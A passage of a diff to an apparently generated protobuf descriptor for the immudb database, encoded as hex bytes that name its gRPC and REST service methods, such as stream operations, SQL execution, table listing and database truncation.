0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, - 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, + 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, + 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, + 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, + 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, + 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, + 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, - 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, - 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, - 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, - 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, - 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, + 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, + 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, + 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, + 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, - 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, - 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, - 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, - 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, - 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, - 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, - 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, - 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, - 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, - 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 